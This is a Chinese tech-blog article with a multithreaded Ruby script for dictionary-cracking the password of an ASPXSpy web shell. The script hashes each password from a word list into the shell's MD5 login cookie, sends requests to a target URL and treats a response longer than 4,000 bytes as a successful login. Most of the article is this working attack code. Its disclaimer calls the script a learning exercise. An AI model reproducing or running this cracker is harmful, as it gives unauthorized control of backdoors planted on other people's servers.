首页 电脑 电脑学堂 查看内容

字典破解aspxspy登录验证(ruby)

2011-3-9 14:33 750 0

摘要:   看了aspxspy的验证部分代码,其实不用非要通过提取表单的用户名和密码名字去提交破解,在aspxspy在处理登录的时候,登录后会设置一个cookie值,所以通过构造cookie也可以达到目的,这...
关键词: 线程 aspxspy cookie http 多核 密码 threads require 登录 代码

  看了aspxspy的验证部分代码,其实不用非要通过提取表单的用户名和密码名字去提交破解,在aspxspy在处理登录的时候,登录后会设置一个cookie值,所以通过构造cookie也可以达到目的,这代码中,我用md5将密码字典里的密码加密成MD5串,传给http对象的中的header,通过它设置当前的COOKIE,最后通过HTTP提交出去,我通过比较返回页面的内容大小判断登录成功与否,效率方面我增加了多线程支持,  可惜RUBY不是原生的多线程语言,无法充分利用CPU多核的这个特性,他仅仅是在一个单独的进程下模拟多个线程实现的。  本程序使用方法:  路径\xx.rb http://www.xxx.com/aspxspy.aspx 线程数  #转载此文请注明出处  #本代码仅仅是本人学习RUBY语言的一个练习例子,切勿拿来攻击,后果自负  require 'net/http'  require 'net/https'  require 'md5'  def read_dict  f = File.new('pass.txt')  f.each do |line|  $pass << line.chomp  end  f.close  end  abort "usage: \t#$0 <website>" if $*[0] == nil || $*[1] == nil  thread_number = $*[1].to_i  url = URI.parse($*[0])  puts "[Target] #{url.host}:#{url.port}"  puts "[Path] #{url.path}"  puts "[*] start crack aspxspy login passowrd"  $pass = []  read_dict  threads = []  a = thread_number  b = 0  while a <= $pass.length/thread_number  pass_sub = []  while b < a  pass_sub << $pass[b]  break if pass_sub.length == thread_number  b += 1  end  pass_sub.each do |p|  threads << Thread.new(p) do |tp|  #sleep(rand(0.1))  begin  http = Net::HTTP.new(url.host, url.port)  rescue  print "[-] Http error, #{$!}"  self.kill  end  print "[*] cracking ["+tp.chomp+"] => "+MD5.hexdigest(tp.chomp)+" "  headers = {  'Cookie' => 'ASPXSpy='+MD5.hexdigest(tp.chomp)  }  begin  resp, data = http.get(url.path, headers)  #puts data  #next if data.length < 4000  rescue  print "[-] http response err, #{$!}"  self.kill  end  (print "[*] Success! Current pass is #{tp.chomp} ";exit) if data.length >4000  end  end  a += thread_number  threads.each {|te| te.join}  end  #threads.each {|te| te.join}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部